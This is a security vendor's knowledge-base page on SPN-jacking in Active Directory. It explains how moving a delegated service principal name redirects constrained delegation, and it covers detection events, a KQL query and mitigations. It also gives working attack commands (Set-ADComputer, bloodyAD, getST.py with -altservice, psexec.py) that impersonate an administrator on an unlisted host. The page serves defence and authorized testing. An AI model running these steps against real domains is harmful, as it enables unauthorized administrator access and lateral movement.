1. Resources
  2. Identity Threats
  3. Active Directory

SPN-Jacking

Also known as: SPN jacking, Ghost SPN-jacking, Live SPN-jacking, WriteSPN delegation redirect

An attacker who controls a constrained delegation account and can write SPNs on computers moves a delegated SPN to another host, which redirects the delegation to that host.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
High
Detection difficulty
Medium
Privileges required: Specific rights or roles
The key of an account with constrained delegation, plus write access to servicePrincipalName on the computer to be attacked and, unless the delegated SPN is orphaned, on its current owner.
What the attacker gains
Service tickets as any delegable user, including administrators, to a computer that was never in the delegation list.
Threat groups
HAFNIUMLazarus GroupNIMBUS MANTICOREScattered SpiderTeamPCPVOID MANTICOREAPT29APT32BRONZE BUTLERGroups that MITRE ATT&CK records using T1098, T1550.003.

How it works

Constrained delegation limits a service account to a list of back-end services, stored in its msDS-AllowedToDelegateTo attribute. The list holds service principal names as text, for example cifs/SRV02.corp.example.com. It does not hold a reference to the account that runs the service.

When the delegating account asks for a ticket through S4U2Proxy, the domain controller does two separate things:

  1. It checks that the requested SPN text is in the list.
  2. It searches the directory for the account that currently owns that SPN and encrypts the service ticket with that account's key.

SPN-jacking, described by Elad Shamir in 2022, abuses the gap between the two. If the SPN is moved to another account, the delegation list is still satisfied, but the ticket is now encrypted for the new owner. The attacker has turned "may delegate to SRV02" into "may delegate to whichever computer I put this SPN on".

Changing delegation settings needs a privileged user right on the domain controller. Changing an SPN does not. It is an attribute write that is often delegated to server and application administrators, which is what makes the redirect reachable.

Two variants exist:

  • Ghost SPN-jacking. The delegated SPN is orphaned: the server it named was deleted or renamed, or the service was removed, and nobody cleaned up the delegation list. No account owns the SPN, so the attacker simply adds it to the computer they want to attack.
  • Live SPN-jacking. The SPN still belongs to a working server. The domain controller refuses to register the same SPN on a second account, so the attacker first removes it from the current owner, then adds it to the target, requests the ticket and puts everything back.

The ticket that comes out names the old host in its service name but is encrypted for the new one. The service name is not part of the encrypted portion of a Kerberos ticket, so the attacker rewrites it to a real service of the new host (service class substitution) before using it.

Two details of SPN handling shape the attack:

  • Which write is needed. Computer accounts can update their own SPNs through a validated write, which only accepts SPNs that match the computer's own host names. Registering another machine's name requires a full property write on servicePrincipalName (the WriteSPN right), or a broader right such as GenericWrite.
  • HOST mappings. Service classes such as cifs are aliases of HOST. A computer that has HOST/SRV02 implicitly owns cifs/SRV02, so in the live variant the attacker has to remove the owner's HOST SPNs before cifs/SRV02 can be registered elsewhere.

Prerequisites

  • The key or TGT of an account with constrained delegation (a populated msDS-AllowedToDelegateTo). For the one-step S4U path the account needs protocol transition; otherwise a forwardable user ticket is needed as described on the constrained delegation page.
  • Write access to servicePrincipalName on the computer account to be attacked (the new owner).
  • For the live variant: the same write access on the current owner of the delegated SPN. For the ghost variant: a delegated SPN that no account owns.
  • A user to impersonate who is not in Protected Users and not marked as sensitive.
  • Network access to a domain controller and to the attacked host.

This combination is uncommon. The technique is a way to extend an existing compromise of a delegation account, not an entry point.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

In this example the attacker holds the key of svc-web, whose delegation list contains cifs/SRV02.corp.example.com, and has WriteSPN on the computer accounts SRV02 and SRV01. The goal is administrator access to SRV01, which is in no delegation list.

1. Find delegated SPNs and their owners

# Each delegated SPN and the account that literally registers it
Get-ADObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties msDS-AllowedToDelegateTo |
  ForEach-Object {
    foreach ($spn in $_.'msDS-AllowedToDelegateTo') {
      $owner = Get-ADObject -LDAPFilter "(servicePrincipalName=$spn)"
      [pscustomobject]@{ DelegatingAccount = $_.Name; DelegatedSPN = $spn; Owner = $owner.Name }
    }
  }
setspn -Q cifs/SRV02.corp.example.com

An SPN with no owner whose host no longer exists in the directory is a ghost. An empty owner for a host that does exist usually means the service class is covered by that host's HOST SPN. Then check who can write SPNs on candidate computers, for example with BloodHound's WriteSPN and GenericWrite edges.

2. Live variant only: remove the SPN from its owner

Record the owner's full SPN list first; it is needed to restore the service.

(Get-ADComputer SRV02 -Properties servicePrincipalName).servicePrincipalName

Set-ADComputer SRV02 -ServicePrincipalNames @{Remove='HOST/SRV02.corp.example.com','HOST/SRV02'}

From Linux with bloodyAD, one value at a time:

bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
  msldap delspn 'CN=SRV02,OU=Servers,DC=corp,DC=example,DC=com' 'HOST/SRV02.corp.example.com'

Kerberos authentication to the affected services on SRV02 fails from this moment until the SPNs are restored.

3. Add the delegated SPN to the target computer

Set-ADComputer SRV01 -ServicePrincipalNames @{Add='cifs/SRV02.corp.example.com'}
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
  msldap addspn 'CN=SRV01,OU=Servers,DC=corp,DC=example,DC=com' 'cifs/SRV02.corp.example.com'

4. Run S4U through the unchanged delegation

Request a ticket for the delegated SPN as an administrator and rewrite the service name to a real service of the new owner:

getST.py -spn cifs/SRV02.corp.example.com -impersonate administrator \
  -altservice cifs/SRV01.corp.example.com \
  -dc-ip 192.0.2.10 -aesKey <AES256 key of svc-web> 'corp.example.com/svc-web'

The domain controller authorizes cifs/SRV02.corp.example.com because it is in the list, finds SRV01$ as the owner and encrypts the ticket with the SRV01$ key. -altservice then changes the name in the ticket to cifs/SRV01.corp.example.com.

getST.py saves the result as a ccache file and prints its name.

5. Use the ticket

export KRB5CCNAME=$PWD/<ccache file saved by getST.py>
psexec.py -k -no-pass 'corp.example.com/administrator@SRV01.corp.example.com'

6. Restore the SPNs

Set-ADComputer SRV01 -ServicePrincipalNames @{Remove='cifs/SRV02.corp.example.com'}
Set-ADComputer SRV02 -ServicePrincipalNames @{Add='HOST/SRV02.corp.example.com','HOST/SRV02'}

The ticket obtained in step 4 stays usable until it expires.

Impact

The attacker reaches a computer that the delegation was never meant to cover, as any user who can be delegated. With an administrator's identity that is full control of the host: file shares, remote service creation, and the credentials stored or cached on it.

The practical effect is that a constrained delegation account is only as constrained as the write access to SPNs around it. If the attacker has WriteSPN on many servers, one delegation entry gives access to all of them. The domain controller's own protections for delegation changes do not apply, because no delegation setting is touched.

The live variant has a visible cost: while the SPN is moved, Kerberos to the original service fails and clients fall back to NTLM or get errors.

OPSEC and artifacts

  • No delegation change. msDS-AllowedToDelegateTo is never written, so monitoring of that attribute stays silent. The constrained delegation modified rules do not fire for this attack.
  • Preferring ghost SPNs. An orphaned SPN needs one write and breaks nothing. That write still appears in event 4742 for the target computer, whose Service Principal Names field then lists a value with another machine's host name, and in event 5136 for servicePrincipalName where a SACL covers the object.
  • Short windows in the live variant. Operators remove, add, request and restore within seconds to limit the outage. That produces a tight cluster of four SPN changes on two computer accounts by the same user account.
  • Rejected attempts. Trying to add the SPN while its owner still holds it is refused by the domain controller's uniqueness check, which logs the blocked duplicate. See the UPN or SPN collision rules.
  • The ticket request. Event 4769 on the domain controller records the S4U2Self request and the S4U2Proxy request with Transited Services filled. The service account named in the second event is the new owner of the SPN, a computer the delegating account never requested tickets for before.
  • On the attacked host. Event 4624 records a network logon for the impersonated user with Transited Services filled.

Detection

  • SPNs that do not belong to the computer. A 4742 where the computer's SPN list gains a value whose host part is not one of that computer's own names. Computers maintain their own SPNs, so the actor on normal changes is the machine account itself; a user account changing a server's SPNs is the lead.
  • HOST SPNs removed. A computer losing its HOST/ values is unusual outside decommissioning.
  • A matching pair. The same SPN leaving one computer account and appearing on another within a short time.
  • Delegation to a new target. A 4769 with Transited Services filled where the delegating account and the service account form a pair that was never seen before.
  • Standing exposure. Delegation lists that contain SPNs with no owner, and principals that hold WriteSPN or broader write access on computer accounts. Both can be found by a directory query before any attack.
// Computer account SPN changes made by something other than a machine account
SecurityEvent
| where EventID == 4742
| where isnotempty(ServicePrincipalNames) and ServicePrincipalNames != "-"
| where SubjectUserName !endswith "$"
| project TimeGenerated, Computer, Actor = SubjectUserName, ChangedComputer = TargetUserName,
          ServicePrincipalNames
| order by TimeGenerated desc

Event 4742 lists the whole new SPN set, not the difference. Compare it with the computer's dNSHostName and name to find the foreign value. Cluster and application administrators register SPNs legitimately, so build an allow list of those actors.

Mitigation

  • Clean up delegation lists. Remove every value from msDS-AllowedToDelegateTo whose SPN has no owner, and review delegation whenever a server is renamed or decommissioned. This removes the ghost variant.
  • Restrict SPN writes. Review who holds write access to servicePrincipalName, GenericWrite or GenericAll on computer and service accounts, and remove it from principals that do not manage those systems. The validated write that computers hold on themselves is not a problem; the full property write is.
  • Reduce constrained delegation. Fewer delegating accounts, no delegation to domain controllers, and no protocol transition unless required. Protect the delegating accounts' keys as described in the Kerberos hardening guide.
  • Make privileged users non-delegable. Members of Protected Users and accounts marked as sensitive cannot be impersonated through S4U, which removes the high-value identities from this attack. See the Protected Users guide.
  • Find duplicate and stray SPNs. Run setspn -X periodically and investigate SPNs whose host name does not match the account they are on.
  • Audit computer account changes. Enable Audit Computer Account Management on domain controllers, and add a SACL for servicePrincipalName writes on server OUs, following the audit policy guide.

Detection rules for this attack

Log events to collect

FAQ

What is SPN-jacking?

It is a way to redirect an existing constrained delegation. The delegation list names services by SPN text, and the domain controller looks up which account owns that SPN only when a ticket is requested. If an attacker moves the SPN to a different computer account, tickets requested through the unchanged delegation are issued for that computer.

What is the difference between ghost and live SPN-jacking?

In the ghost variant the delegated SPN belongs to no account any more, for example because the server it named was deleted or renamed, so the attacker only has to add it to the computer they want to attack. In the live variant the SPN is still registered, so the attacker first removes it from its owner, which breaks Kerberos to that service until it is put back.

Why does the attacker have to rename the service in the ticket?

The ticket is issued for the delegated SPN, which carries the old host's name, but it is encrypted with the new owner's key. The service name is outside the encrypted part of a ticket, so tools can rewrite it to a real service name of the new host, such as cifs on that host, and the host accepts it.

How do you detect SPN-jacking?

Watch event 4742 for computer accounts whose SPN list gains a value with another machine's host name, or loses its own HOST or service SPNs, when the change is made by a user account. A constrained delegation ticket request (4769 with Transited Services filled) shortly afterwards completes the pattern. The delegation list itself does not change.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.